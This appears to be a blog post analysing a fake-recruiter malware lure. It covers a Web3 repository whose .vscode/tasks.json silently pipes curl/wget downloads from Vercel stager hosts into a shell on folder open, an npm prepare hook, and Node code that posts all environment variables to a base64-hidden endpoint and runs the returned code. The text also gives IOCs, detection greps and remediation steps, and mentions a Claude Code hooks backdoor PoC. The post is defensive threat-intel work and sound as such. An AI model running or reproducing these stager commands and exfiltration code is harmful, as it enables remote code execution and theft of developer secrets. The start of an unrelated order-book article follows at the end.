<p>The PoC is here:</p>
<pre><code class="language-text">https://github.com/s0ld13rr/claude-code-backdoor
</code></pre>
<p>The core point was simple:</p>
<p>Claude Code can execute project-local hooks from <code>.claude/settings.json</code> when a trusted project starts.</p>
<p>That is not a magic exploit. It is tool behavior.</p>
<p>But the security boundary matters.</p>
<p>The dangerous situation is not:</p>
<blockquote>
<p>"I ran the malware."</p>
</blockquote>
<p>The dangerous situation is:</p>
<blockquote>
<p>"I opened an untrusted project inside a tool that can execute project-local automation."</p>
</blockquote>
<p>That same pattern exists across modern developer tooling:</p>
<ul>
<li><p><code>.vscode/tasks.json</code></p>
</li>
<li><p><code>.claude/settings.json</code></p>
</li>
<li><p>Cursor / Windsurf project configs</p>
</li>
<li><p><code>package.json</code> scripts</p>
</li>
<li><p><code>preinstall</code> / <code>postinstall</code> / <code>prepare</code></p>
</li>
<li><p>Makefiles</p>
</li>
<li><p>Git hooks</p>
</li>
<li><p>Docker Compose files</p>
</li>
<li><p>CI configs</p>
</li>
<li><p>language-server initialization paths</p>
</li>
</ul>
<p>I made a mental note:</p>
<blockquote>
<p>If somebody asks me to open an unfamiliar repository in any IDE, inspect the project automation files first.</p>
</blockquote>
<p>Two days later, that note mattered.</p>
<hr />
<h2>The interview</h2>
<p>On 2026-04-29, the Google Meet call started normally.</p>
<p>We talked about my background. There were no meaningful technical questions. No architecture discussion. No real DevSecOps interview.</p>
<p>Then, about 25 minutes in, the recruiter sent the repository:</p>
<pre><code class="language-text">https://github.com/Novara1o1/jackpot
</code></pre>
<p>The project looked like a Web3 poker/casino application.</p>
<p>The README looked plausible. The repository had history. The stack looked believable:</p>
<ul>
<li><p>React</p>
</li>
<li><p>Next.js</p>
</li>
<li><p>Solidity</p>
</li>
<li><p>Hardhat</p>
</li>
<li><p>ethers.js</p>
</li>
<li><p>MongoDB</p>
</li>
<li><p>SettleMint references</p>
</li>
</ul>
<p>I said:</p>
<blockquote>
<p>"This is JavaScript. I mostly do Python."</p>
</blockquote>
<p>The answer:</p>
<blockquote>
<p>"That's fine. Just review it. Could you open it in VSCode?"</p>
</blockquote>
<p>That was the trigger.</p>
<p>Why VSCode specifically?</p>
<p>I had already told him I use PyCharm.</p>
<p>A normal interviewer would not care which editor I use for a superficial review.</p>
<p>But this repository cared.</p>
<p>So I did not open it in VSCode.</p>
<p>I inspected it in the browser.</p>
<p>Then I went straight to <code>.vscode/</code>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/d942486a-ea49-40e6-a937-29984d7ec97e.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h2>The VSCode trap</h2>
<p>The repository contained a <code>.vscode/tasks.json</code> file with folder-open tasks.</p>
<p>Simplified, the relevant part looked like this:</p>
<pre><code class="language-json">{
  "version": "2.0.0",
  "tasks": [
    {
      "label": "install-root-modules",
      "type": "shell",
      "command": "npm install --silent --no-progress",
      "runOptions": {
        "runOn": "folderOpen"
      },
      "presentation": {
        "reveal": "silent",
        "echo": false,
        "focus": false,
        "panel": "new",
        "showReuseMessage": false,
        "clear": true
      }
    },
    {
      "label": "env",
      "type": "shell",
      "linux": {
                                                                                                                                                                                                                                         "command": "wget -qO- 'https://ip-address-check-mo.vercel.app/api/settings/linux' | sh"
      },
      "osx": {
                                                                                                                                                                                                                                         "command": "curl -L 'https://ip-address-check-mo.vercel.app/api/settings/mac' | bash"
      },
      "windows": {
                                                                                                                                                                                                                                         "command": "curl --ssl-no-revoke -L https://ip-address-check-mo.vercel.app/api/settings/windows | cmd"
      },
      "presentation": {
        "reveal": "silent",
        "echo": false,
        "focus": false,
        "close": true,
        "panel": "new",
        "showReuseMessage": false,
        "clear": true
      },
      "runOptions": {
        "runOn": "folderOpen"
      }
    }
  ]
}
</code></pre>
<p>The important part is not only the command.</p>
<p>The important part is the interaction:</p>
<pre><code class="language-json">"runOptions": {
  "runOn": "folderOpen"
}
</code></pre>
<p>combined with:</p>
<pre><code class="language-json">"presentation": {
  "reveal": "silent",
  "echo": false,
  "focus": false,
  "close": true
}
</code></pre>
<p>This means:</p>
<ol>
<li><p>The task is eligible to run when the folder opens.</p>
</li>
<li><p>After Workspace Trust is granted, the shell command can execute.</p>
</li>
<li><p>The terminal output is suppressed or hidden.</p>
</li>
<li><p>The command is not clearly surfaced as a separate, explicit security decision.</p>
</li>
</ol>
<p>And then there is the visual trick:</p>
<p>The <code>"command"</code> field was pushed far to the right with whitespace.</p>
<p>In the sample I analyzed, the malicious command began after more than 200 ASCII spaces.</p>
<p>The repository's <code>.vscode/settings.json</code> also set:</p>
<pre><code class="language-json">{
  "editor.wordWrap": "off"
}
</code></pre>
<p>So a casual reviewer opening the file in VSCode sees a harmless-looking structure and may not visually notice the command at all.</p>
<p>This is not clever cryptography.</p>
<p>It is better than that.</p>
<p>It abuses developer habit.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/dca1d4f8-9382-4d70-8576-2409e01e90ad.png" alt="" style="display:block;margin:0 auto" />

<hr />
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/18c50fa6-694e-4222-8275-a134e3e2b872.png" alt="" style="display:block;margin:0 auto" />

<h2>Why this works</h2>
<p>The attacker does not need to convince the developer to run malware.</p>
<p>They only need to convince the developer to follow a normal workflow:</p>
<pre><code class="language-text">clone repo
open folder
trust workspace
let tooling initialize
</code></pre>
<p>That is the real trust-boundary failure.</p>
<p>The human thinks:</p>
<blockquote>
<p>"I am just opening the project."</p>
</blockquote>
<p>The tool thinks:</p>
<blockquote>
<p>"This workspace is trusted, so project automation can run."</p>
</blockquote>
<p>The attacker thinks:</p>
<blockquote>
<p>"Perfect."</p>
</blockquote>
<p>This is the same class of problem as:</p>
<ul>
<li><p>Claude Code hooks in <code>.claude/settings.json</code></p>
</li>
<li><p>package manager lifecycle scripts</p>
</li>
<li><p>Makefile targets</p>
</li>
<li><p>Git hooks</p>
</li>
<li><p>CI workflow files</p>
</li>
<li><p>language-specific project bootstrap files</p>
</li>
</ul>
<p>The security boundary is no longer:</p>
<blockquote>
<p>Did I manually execute the application?</p>
</blockquote>
<p>The security boundary is:</p>
<blockquote>
<p>Did my tooling trust the project?</p>
</blockquote>
<hr />
<h2>The first payload layer: Vercel-hosted stagers</h2>
<p>The active lure repository referenced this domain:</p>
<pre><code class="language-text">ip-address-check-mo.vercel.app
</code></pre>
<p>with OS-specific endpoints:</p>
<pre><code class="language-text">/api/settings/linux
/api/settings/mac
/api/settings/windows
</code></pre>
<p>The commands used the classic download-and-execute pattern:</p>
<pre><code class="language-bash">wget -qO- 'https://ip-address-check-mo.vercel.app/api/settings/linux' | sh
</code></pre>
<pre><code class="language-bash">curl -L 'https://ip-address-check-mo.vercel.app/api/settings/mac' | bash
</code></pre>
<pre><code class="language-cmd">curl --ssl-no-revoke -L https://ip-address-check-mo.vercel.app/api/settings/windows | cmd
</code></pre>
<p>That is not a settings API.</p>
<p>That is a staged execution path.</p>
<p>During the investigation, I mapped a rotating set of Vercel-hosted projects used by the same campaign pattern.</p>
<p>The Stage-1 stager infrastructure observed so far:</p>
<table>
<thead>
<tr>
<th>Date</th>
<th>Stager domain</th>
</tr>
</thead>
<tbody><tr>
<td>2026-04-28</td>
<td><code>ip-address-check-mo.vercel.app</code></td>
</tr>
<tr>
<td>2026-04-20</td>
<td><code>vscode-address-checking-mo.vercel.app</code></td>
</tr>
<tr>
<td>2026-04-13</td>
<td><code>ip-address-check1.vercel.app.vercel.app</code></td>
</tr>
<tr>
<td>2026-04-07</td>
<td><code>vscode-ip-checking-nine.vercel.app</code></td>
</tr>
<tr>
<td>2026-03-31</td>
<td><code>ip-address-vscode-checking.vercel.app</code></td>
</tr>
<tr>
<td>2026-03-17</td>
<td><code>vscode-ipaddress-checking-nine.vercel.app</code></td>
</tr>
<tr>
<td>2026-03-16</td>
<td><code>vscode-ipaddress-checking.vercel.app</code></td>
</tr>
<tr>
<td>2026-03-13</td>
<td><code>vscode-ip-address-checking-ten.vercel.app</code></td>
</tr>
<tr>
<td>2026-03-13</td>
<td><code>vscode-ip-address-checking.vercel-ten.app</code></td>
</tr>
<tr>
<td>2026-03-02</td>
<td><code>vscode-ip-address-checking.vercel.app</code></td>
</tr>
<tr>
<td>2026-03-02</td>
<td><code>vscode-ip-addess-checking.vercel.app</code></td>
</tr>
<tr>
<td>2026-02-27</td>
<td><code>vscode-settings-tasks-227.vercel.app</code></td>
</tr>
<tr>
<td>2026-02-23</td>
<td><code>vscode-ipchecking.vercel.app</code></td>
</tr>
<tr>
<td>2026-02-20</td>
<td><code>vscode-settings-tasks-json.vercel.app</code></td>
</tr>
<tr>
<td>2026-02-03</td>
<td><code>vscodesetting-task.vercel.app</code></td>
</tr>
<tr>
<td>2026-01-27</td>
<td><code>vscodesettingtask.vercel.app</code></td>
</tr>
</tbody></table>
<p>There are obvious operator mistakes in that list:</p>
<ul>
<li><p>doubled <code>.vercel.app</code></p>
</li>
<li><p><code>vercel-ten.app</code> instead of <code>.vercel.app</code></p>
</li>
<li><p><code>addess</code> instead of <code>address</code></p>
</li>
</ul>
<p>That matters.</p>
<p>Typos are often better pivot material than perfect infrastructure.</p>
<p>They show manual editing, copy/paste drift, and operational pressure.</p>
<hr />
<h2>The second payload layer: npm lifecycle execution</h2>
<p>The VSCode path was not the only execution vector.</p>
<p>The repository also carried an npm-based path.</p>
<p>In <code>package.json</code>:</p>
<pre><code class="language-json">"scripts": {
  "start": "node server/server.js | react-scripts --openssl-legacy-provider start",
  "build": "node server/server.js | react-scripts --openssl-legacy-provider build",
  "test": "node server/server.js | react-scripts --openssl-legacy-provider test",
  "eject": "node server/server.js | react-scripts --openssl-legacy-provider eject",
  "prepare": "node server/server.js"
}
</code></pre>
<p>The dangerous one is:</p>
<pre><code class="language-json">"prepare": "node server/server.js"
</code></pre>
<p><code>prepare</code> is an npm lifecycle script.</p>
<p>So if the victim does not open the project in VSCode but instead runs:</p>
<pre><code class="language-bash">npm install
</code></pre>
<p>the server-side JavaScript still executes.</p>
<p>That gives the attacker two chances:</p>
<ol>
<li><p>IDE auto-execution via <code>.vscode/tasks.json</code></p>
</li>
<li><p>npm lifecycle execution via <code>prepare</code></p>
</li>
</ol>
<p>This is exactly how good malware chains are built.</p>
<p>They do not rely on one path.</p>
<p>They layer normal developer behaviors until one of them fires.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/2baf5cca-3b23-4428-958d-5a39bdee8bc2.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h2>The third layer: BeaverTail-style Node.js RCE and environment exfiltration</h2>
<p>The repository also contained a hidden runtime chain in the application code.</p>
<p>In <code>server/routes/api/auth.js</code>, simplified:</p>
<pre><code class="language-javascript">const verified = validateApiKey();

if (!verified) {
  console.log("Aborting mempool scan due to failed API verification.");
  return;
}

async function validateApiKey() {
  verify(setApiKey(process.env.AUTH_API))
    .then((response) =&gt; {
      const executor = new Function("require", response.data);
      executor(require);
      return true;
    })
    .catch((err) =&gt; {
      return false;
    });
}
</code></pre>
<p>In <code>server/controllers/auth.js</code>:</p>
<pre><code class="language-javascript">const setApiKey = (s) =&gt; atob(s);

const verify = (api) =&gt;
  axios.post(api, { ...process.env }, {
    headers: {
      "x-app-request": "ip-check"
    }
  });
</code></pre>
<p>What this does:</p>
<ol>
<li><p>Reads <code>process.env.AUTH_API</code></p>
</li>
<li><p>Base64-decodes it</p>
</li>
<li><p>POSTs the entire <code>process.env</code> to the decoded URL</p>
</li>
<li><p>Receives JavaScript code as response</p>
</li>
<li><p>Executes that code with:</p>
</li>
</ol>
<pre><code class="language-javascript">new Function("require", response.data)
</code></pre>
<p>That is full Node.js RCE.</p>
<p>It also exfiltrates the victim's environment variables.</p>
<p>The <code>.env</code> file is designed to look harmless:</p>
<pre><code class="language-bash">NODE_ENV=development
PORT=3000
ALCHEMY_API_KEY=demo-alchemy-0123456789abcdef
ETHERSCAN_API_KEY=etherscan_demo_ABC123DEF456
POLYGONSCAN_API_KEY=polygonscan_demo_ABC123DEF456
INFURA_IPFS_PROJECT_ID=infura-ipfs-demo-112233
OPENAI_API_KEY=sk-test_OpenAIkey1234567890
PINATA_API_KEY=pinata_test_key_9876543210
STRIPE_SECRET_KEY=sk_test_STRIPEKEY123456
COINBASE_COMMERCE_API_KEY=cc_test_COINBASE12345
AUTH_API=aHR0cHM6Ly95LWhhemVsLXRlbi52ZXJjZWwuYXBwL2FwaQ==
AWS_ACCESS_KEY_ID=AKIAEXAMPLE12345
AWS_SECRET_ACCESS_KEY=SecretKeyExample/AbC1234567890
</code></pre>
<p>Most values are obvious demo placeholders.</p>
<p>One value is not.</p>
<pre><code class="language-bash">AUTH_API=aHR0cHM6Ly95LWhhemVsLXRlbi52ZXJjZWwuYXBwL2FwaQ==
</code></pre>
<p>Decoded:</p>
<pre><code class="language-text">https://y-hazel-ten.vercel.app/api
</code></pre>
<p>That is a second Vercel-hosted endpoint, separate from the VSCode stager rotation.</p>
<p>So the repository contains at least two distinct malicious infrastructure paths:</p>
<ul>
<li><p>Stage-1 OS-specific shell stagers under <code>/api/settings/{linux,mac,windows}</code></p>
</li>
<li><p>Stage-2 BeaverTail-style Node.js RCE/exfil endpoint under <code>/api</code></p>
</li>
</ul>
<p>The fake <code>x-app-request: ip-check</code> header is there to make the traffic look like a harmless IP or environment check.</p>
<p>It is not harmless.</p>
<p>It sends the victim's environment to the operator.</p>
<hr />
<h2>Why I classify this as Contagious-Interview-style tradecraft</h2>
<p>I am careful with attribution.</p>
<p>I cannot prove who sat behind the keyboard during my call.</p>
<p>The LinkedIn profile may be fake, compromised, impersonated, or operated by the attacker.</p>
<p>But the tradecraft strongly overlaps with publicly documented Contagious Interview activity:</p>
<ul>
<li><p>fake recruiter outreach</p>
</li>
<li><p>Web3 / crypto / casino / blockchain lure projects</p>
</li>
<li><p>GitHub-hosted project repositories</p>
</li>
<li><p>developer asked to open the project locally</p>
</li>
<li><p>npm lifecycle execution paths</p>
</li>
<li><p>JavaScript malware</p>
</li>
<li><p>BeaverTail-style code patterns</p>
</li>
<li><p>base64-obfuscated C2 endpoint</p>
</li>
<li><p>environment-variable exfiltration</p>
</li>
<li><p>remote JavaScript execution via <code>new Function</code></p>
</li>
<li><p>Vercel-hosted rotating infrastructure</p>
</li>
<li><p>short-lived operator accounts</p>
</li>
</ul>
<p>That is the important point.</p>
<p>Whether the exact operator label is Lazarus, Sapphire Sleet, DEV#POPPER, CL-STA-0240, OtterCookie, or another overlapping cluster is less important for defenders than the execution pattern.</p>
<p>The practical defensive message is the same:</p>
<blockquote>
<p>Fake job interviews are being used to get developers to execute malware through normal project tooling.</p>
</blockquote>
<hr />
<h2>What I reported</h2>
<p>I submitted the malicious repository and infrastructure to the relevant platforms.</p>
<h3>Vercel Trust &amp; Safety</h3>
<p>Vercel acknowledged the report under case number:</p>
<pre><code class="language-text">01139817
</code></pre>
<p>The report covered:</p>
<ul>
<li><p>15 Stage-1 Vercel stager domains</p>
</li>
<li><p>1 Stage-2 BeaverTail-style RCE/exfil endpoint</p>
</li>
<li><p>shared URL pattern <code>/api/settings/{linux,mac,windows}</code></p>
</li>
<li><p>likely shared operator naming patterns</p>
</li>
<li><p>known GitHub-attributed operator emails</p>
</li>
<li><p>ThreatFox and URLhaus references</p>
</li>
</ul>
<p>The requested actions were:</p>
<ol>
<li><p>Take down the listed malicious projects</p>
</li>
<li><p>Block redeployment by related operator accounts</p>
</li>
<li><p>Hunt for sister projects using the same naming and endpoint patterns</p>
</li>
<li><p>Preserve metadata for correlation with abuse.ch / law enforcement where appropriate</p>
</li>
</ol>
<h3>GitHub Trust &amp; Safety</h3>
<p>GitHub acknowledged the report under support ticket:</p>
<pre><code class="language-text">#4339052
</code></pre>
<p>Reported repository:</p>
<pre><code class="language-text">https://github.com/Novara1o1/jackpot
</code></pre>
<p>Reason:</p>
<ul>
<li><p>malicious <code>.vscode/tasks.json</code></p>
</li>
<li><p><code>runOn: folderOpen</code></p>
</li>
<li><p>silent shell stager execution</p>
</li>
<li><p>npm lifecycle execution path</p>
</li>
<li><p>BeaverTail-style Node.js RCE/exfil chain</p>
</li>
</ul>
<h3>LinkedIn Trust &amp; Safety</h3>
<p>Reported the recruiter profile as potentially:</p>
<ul>
<li><p>fake</p>
</li>
<li><p>compromised</p>
</li>
<li><p>impersonated</p>
</li>
<li><p>used as part of a recruiting malware campaign</p>
</li>
</ul>
<p>I am deliberately not stating that the real-world person named on the profile is the attacker.</p>
<p>That is important.</p>
<p>The profile is part of the observed attack chain.</p>
<p>The identity behind it is a separate question.</p>
<h3>VSCode hardening note</h3>
<p>I am not treating this as a VSCode vulnerability claim in this article.</p>
<p>Workspace Trust is a real security boundary, and the attacker still needs the victim to grant trust.</p>
<p>But the user experience is still worth discussing because this campaign abuses the gap between two different mental models.</p>
<p>A user can interpret "I trust the authors" as:</p>
<blockquote>
<p>"I trust this repository enough to inspect it."</p>
</blockquote>
<p>A developer tool can interpret it as:</p>
<blockquote>
<p>"Project-local automation may execute."</p>
</blockquote>
<p>Those are not the same decision.</p>
<p>For <code>runOn: folderOpen</code> shell tasks, a safer design would require explicit per-task approval and display the complete command before first execution.</p>
<p>Especially when the task uses:</p>
<pre><code class="language-json">"presentation": {
  "reveal": "silent",
  "echo": false,
  "focus": false,
  "close": true
}
</code></pre>
<p>The important defensive lesson is not "VSCode is broken."</p>
<p>The lesson is:</p>
<blockquote>
<p>Project trust can become command execution. Treat it accordingly.</p>
</blockquote>
<h2>Public threat-intel</h2>
<p>Indicators from this investigation were submitted to public abuse.ch feeds.</p>
<p>ThreatFox:</p>
<pre><code class="language-text">https://threatfox.abuse.ch/browse/tag/jackpot/
</code></pre>
<p>URLhaus:</p>
<pre><code class="language-text">https://urlhaus.abuse.ch/browse/tag/jackpot/
</code></pre>
<p>My ThreatFox profile:</p>
<pre><code class="language-text">https://threatfox.abuse.ch/user/12877/
</code></pre>
<p>The indicators include:</p>
<ul>
<li><p>Vercel stager domains</p>
</li>
<li><p>active stager URLs</p>
</li>
<li><p>BeaverTail-style endpoint</p>
</li>
<li><p>malicious file hashes</p>
</li>
<li><p>campaign tag <code>jackpot</code></p>
</li>
<li><p>malware family tags where accepted by the platform</p>
</li>
</ul>
<p>This matters because social-media warnings are useful, but structured threat-intel is ingestible.</p>
<p>Defenders can block it.</p>
<p>Researchers can pivot from it.</p>
<p>Platforms can correlate it.</p>
<p>That is the goal.</p>
<hr />
<h2>Detection ideas</h2>
<h3>Repository static checks</h3>
<p>Before opening an unknown repository in any IDE, search for project-local execution surfaces:</p>
<pre><code class="language-bash">find . -maxdepth 4 \( \
  -path "*/.vscode/tasks.json" -o \
  -path "*/.vscode/settings.json" -o \
  -path "*/.claude/settings.json" -o \
  -name "package.json" -o \
  -name "Makefile" -o \
  -path "*/.git/hooks/*" -o \
  -name "docker-compose.yml" \
\) -print
</code></pre>
<p>Search for suspicious folder-open tasks:</p>
<pre><code class="language-bash">grep -RInE '"runOn"[[:space:]]*:[[:space:]]*"folderOpen"|curl.*\|.*(sh|bash|cmd)|wget.*\|.*(sh|bash)' .
</code></pre>
<p>Search for JavaScript runtime-eval patterns:</p>
<pre><code class="language-bash">grep -RInE 'new Function|eval\(|process\.env|axios\.post|atob\(' .
</code></pre>
<p>Search for base64-looking environment values:</p>
<pre><code class="language-bash">grep -RInE '^[A-Z0-9_]+=[A-Za-z0-9+/]{30,}={0,2}$' .env* 2&gt;/dev/null
</code></pre>
<h3>Runtime detection ideas</h3>
<p>Watch for editor or Node processes spawning network downloaders:</p>
<pre><code class="language-text">Code.exe / code
  -&gt; cmd.exe / powershell.exe / bash / sh
    -&gt; curl / wget
      -&gt; pipe to sh/bash/cmd
</code></pre>
<p>Watch for Node processes posting environment-sized payloads to unknown Vercel domains.</p>
<p>Watch for traffic to:</p>
<pre><code class="language-text">*.vercel.app/api/settings/linux
*.vercel.app/api/settings/mac
*.vercel.app/api/settings/windows
</code></pre>
<p>especially when launched by:</p>
<ul>
<li><p>VSCode</p>
</li>
<li><p>Cursor</p>
</li>
<li><p>Windsurf</p>
</li>
<li><p>Claude Code</p>
</li>
<li><p>npm</p>
</li>
<li><p>node</p>
</li>
<li><p>bash</p>
</li>
<li><p>sh</p>
</li>
<li><p>cmd.exe</p>
</li>
<li><p>powershell.exe</p>
</li>
</ul>
<hr />
<h2>Lessons learned</h2>
<h3>1. Unknown repositories are hostile until proven otherwise</h3>
<p>Do not open unknown repositories directly in your normal IDE.</p>
<p>Not VSCode.</p>
<p>Not Cursor.</p>
<p>Not Windsurf.</p>
<p>Not Claude Code.</p>
<p>Not anything with project-level automation.</p>
<p>Use a plain text viewer, browser review, container, or VM first.</p>
<h3>2. "Open this in VSCode" is now a security-relevant request</h3>
<p>That sentence used to sound normal.</p>
<p>It is still normal in many contexts.</p>
<p>But in recruiter calls, freelance interviews, code-review lures, crypto projects, and "quick technical checks", it should raise your blood pressure a little.</p>
<p>Not panic.</p>
<p>Just friction.</p>
<p>A good answer is:</p>
<pre><code class="language-text">I do not open untrusted repositories directly in an IDE during calls.
I will inspect it offline in a controlled environment.
</code></pre>
<p>A real recruiter accepts that.</p>
<p>An attacker pushes back.</p>
<h3>3. Trust prompts are not enough</h3>
<p>The problem is not that users are stupid.</p>
<p>The problem is that the trust prompt asks the wrong question too broadly.</p>
<p>A user may trust a workspace enough to browse it.</p>
<p>That does not mean the user knowingly approved automatic shell execution.</p>
<p>Tooling needs finer-grained trust decisions.</p>
<p>Especially for:</p>
<ul>
<li><p>shell tasks</p>
</li>
<li><p>lifecycle scripts</p>
</li>
<li><p>hooks</p>
</li>
<li><p>AI-agent startup hooks</p>
</li>
<li><p>commands downloaded from the network</p>
</li>
<li><p>commands piped into interpreters</p>
</li>
</ul>
<h3>4. AI coding tools have the same class of problem</h3>
<p>This is bigger than VSCode.</p>
<p>The same trust-boundary issue exists in AI coding tools and agentic developer environments.</p>
<p>Project-local config is no longer just configuration.</p>
<p>It can be execution policy.</p>
<p>That includes files like:</p>
<pre><code class="language-text">.claude/settings.json
.vscode/tasks.json
.cursor/
.windsurf/
package.json
Makefile
.git/hooks/
docker-compose.yml
.github/workflows/
</code></pre>
<p>The security question is not:</p>
<blockquote>
<p>Did I run the program?</p>
</blockquote>
<p>The question is:</p>
<blockquote>
<p>What did my tooling run for me?</p>
</blockquote>
<h3>5. Awareness works</h3>
<p>I refused this attack because two days earlier I had read about the same trust-boundary problem in Claude Code through Zhangir Ospanov's PoC.</p>
<p>Different tool.</p>
<p>Same pattern.</p>
<p>That awareness changed my behavior at the exact right moment.</p>
<p>This is why I am linking his work directly:</p>
<ul>
<li><p><a href="https://www.linkedin.com/in/s0ld13r/">Zhangir Ospanov on LinkedIn</a></p>
</li>
<li><p><a href="https://github.com/s0ld13rr/claude-code-backdoor">claude-code-backdoor PoC on GitHub</a></p>
</li>
</ul>
<p>So yes, sharing these findings matters.</p>
<p>Blog posts matter.</p>
<p>Reddit posts matter.</p>
<p>LinkedIn posts matter.</p>
<p>IOCs matter.</p>
<p>They put patterns into people's heads before the attacker reaches them.</p>
<hr />
<h2>If you were targeted</h2>
<p>If you received recruiter outreach matching this pattern, or were asked to open the <code>jackpot</code> repository or a similar Web3 project in VSCode, treat it seriously.</p>
<p>If you only viewed the repository in a browser, you are likely fine.</p>
<p>If you downloaded the ZIP but did not open it in an IDE, run <code>npm install</code>, or execute scripts, you are likely fine.</p>
<p>If you opened it in VSCode and clicked Workspace Trust, or ran <code>npm install</code>, or started the app locally, treat the machine as potentially compromised.</p>
<p>Immediate steps:</p>
<ol>
<li><p>Disconnect the machine from sensitive networks.</p>
</li>
<li><p>Preserve artifacts if you can do so safely.</p>
</li>
<li><p>Rotate credentials that were present in environment variables, shell config, npm config, cloud CLIs, wallet tooling, SSH agents, browser sessions, and developer secrets.</p>
</li>
<li><p>Check shell history, VSCode task history, npm logs, process execution logs, EDR telemetry, and outbound network logs.</p>
</li>
<li><p>Look for connections to Vercel <code>/api/settings/*</code> endpoints and <code>y-hazel-ten.vercel.app/api</code>.</p>
</li>
<li><p>Rebuild from a known-good state if execution is confirmed.</p>
</li>
</ol>
<hr />
<h2>References</h2>
<ul>
<li><p>AlienVault Pulse<br /><code>https://otx.alienvault.com/pulse/69f9ab38f883023c833b2fd8</code></p>
</li>
<li><p>ThreatFox campaign tag: <code>jackpot</code><br /><code>https://threatfox.abuse.ch/browse/tag/jackpot/</code></p>
</li>
<li><p>URLhaus campaign tag: <code>jackpot</code><br /><code>https://urlhaus.abuse.ch/browse/tag/jackpot/</code></p>
</li>
<li><p>ThreatFox user profile:<br /><code>https://threatfox.abuse.ch/user/12877/</code></p>
</li>
<li><p>Zhangir Ospanov — LinkedIn:<br /><code>https://www.linkedin.com/in/s0ld13r/</code></p>
</li>
<li><p>Zhangir Ospanov — Claude Code backdoor PoC:<br /><code>https://github.com/s0ld13rr/claude-code-backdoor</code></p>
</li>
<li><p>VSCode Workspace Trust documentation:<br /><code>https://code.visualstudio.com/docs/editing/workspaces/workspace-trust</code></p>
</li>
<li><p>VSCode Tasks documentation:<br /><code>https://code.visualstudio.com/docs/editor/tasks</code></p>
</li>
</ul>
<hr />
<h2>Closing thought</h2>
<p>This was not a "malicious repository" in the old sense.</p>
<p>It was a malicious developer workflow.</p>
<p>The repository did not need me to run the app.</p>
<p>It needed me to behave like a normal developer.</p>
<p>Open the folder.</p>
<p>Trust the workspace.</p>
<p>Let the tool initialize.</p>
<p>That is the attack.</p>
<p>And that is why this needs to be understood beyond this single case.</p>
<hr />
<p>Follow me on <a href="https://github.com/oliver-zehentleitner">GitHub</a>, <a href="https://x.com/unicorn_oz">X</a> and <a href="https://www.linkedin.com/in/oliver-zehentleitner/">LinkedIn</a> to stay updated on my latest releases. Your constructive feedback is always appreciated!</p>
<p>Thank you for reading! ¯\_(ツ)_/¯</p>
]]></content:encoded></item><item><title><![CDATA[UBDCC Deep-Dive: Building a Trust Layer for Binance Order Books]]></title><description><![CDATA[TL;DR — UBDCC is not "Redis for Binance order books". It is an order book trust layer: every layer of the stack — UBWA, UBLDC, the cluster, the dashboard — exists to turn a stream of binary diff messa]]></description><link>https://blog.technopathy.club/ubdcc-deep-dive-building-a-trust-layer-for-binance-order-books</link><guid isPermaLink="true">https://blog.technopathy.club/ubdcc-deep-dive-building-a-trust-layer-for-binance-order-books</guid><category><![CDATA[binance]]></category><category><![CDATA[Python]]></category><category><![CDATA[trading, ]]></category><category><![CDATA[architecture]]></category><category><![CDATA[distributed systems]]></category><category><![CDATA[hft]]></category><category><![CDATA[Open Source]]></category><dc:creator><![CDATA[Oliver Zehentleitner]]></dc:creator><pubDate>Tue, 28 Apr 2026 14:34:10 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/d2f0cc7e-f681-4946-ba6d-052265b25684.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p><strong>TL;DR</strong> — UBDCC is not "Redis for Binance order books". It is an order book <strong>trust layer</strong>: every layer of the stack — UBWA, UBLDC, the cluster, the dashboard — exists to turn a stream of binary diff messages into a finite, observable trust state your strategy can reason about. This post walks the stack end to end.</p>
</blockquote>
<p>The <a href="https://blog.technopathy.club/from-pip-install-to-a-redundant-binance-order-book-cluster-ubdcc-dashboard-quickstart">previous post</a> was the five-minute install: <code>pip install ubdcc</code>, kill a node, watch failover, copy a snippet from the API Builder, done.</p>
<p>This post is the why. What every layer is doing, why it exists, and how the pieces add up to something far more important than "we cached a JSON object".</p>
<p>Because in trading infrastructure, a wrong order book is worse than no order book. No data stops you. Bad data lies to you.</p>
<p>The framing comes out of a <a href="https://www.linkedin.com/feed/update/urn:li:activity:7454228111401078784/?dashCommentUrn=urn%3Ali%3Afsd_comment%3A%287454245165831155712%2Curn%3Ali%3Aactivity%3A7454228111401078784%29&amp;dashReplyUrn=urn%3Ali%3Afsd_comment%3A%287454457326901542912%2Curn%3Ali%3Aactivity%3A7454228111401078784%29">LinkedIn discussion</a> on the quickstart. One reader put it sharper than I had so far:</p>
<blockquote>
<p><em>"OutOfSync is not just an exception name. It is a finite trust state that the rest of the system can reason about."</em></p>
</blockquote>
<p>That is the thread we are pulling here.</p>
<p>By the end of this post, you should understand:</p>
<ul>
<li><p>why a Binance order book can be wrong while still looking perfectly valid</p>
</li>
<li><p>how UBLDC turns snapshots and diff streams into a finite sync state</p>
</li>
<li><p>how UBDCC preserves that trust state across HTTP</p>
</li>
<li><p>why <code>#6000</code> is a feature, not just an error</p>
</li>
<li><p>where REST is enough, and where gRPC starts to make sense</p>
</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/5a32f34b-bb9d-498d-baa3-805571c0284b.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h2>Layer 0 — What Binance actually gives you</h2>
<p>Before any code, let's be honest about the raw material. Binance does not hand you truth. It hands you puzzle pieces.</p>
<p>Binance does not expose "the order book". It exposes two things:</p>
<ol>
<li><p>A <strong>REST snapshot</strong> at a specific <code>lastUpdateId</code>. One HTTP call. For futures and options it is reasonably fresh; for European Options it is <em>cached server-side for ~30 seconds</em>, which becomes important later.</p>
</li>
<li><p>A <strong>diff-depth WebSocket stream</strong> of incremental updates, each tagged with <code>U</code> (first update id) and <code>u</code> (final update id), and on futures additionally <code>pu</code> (previous final update id).</p>
</li>
</ol>
<p>To turn that into a usable order book you have to:</p>
<ul>
<li><p>Fetch the snapshot.</p>
</li>
<li><p>Buffer diffs that arrive while the snapshot is in flight.</p>
</li>
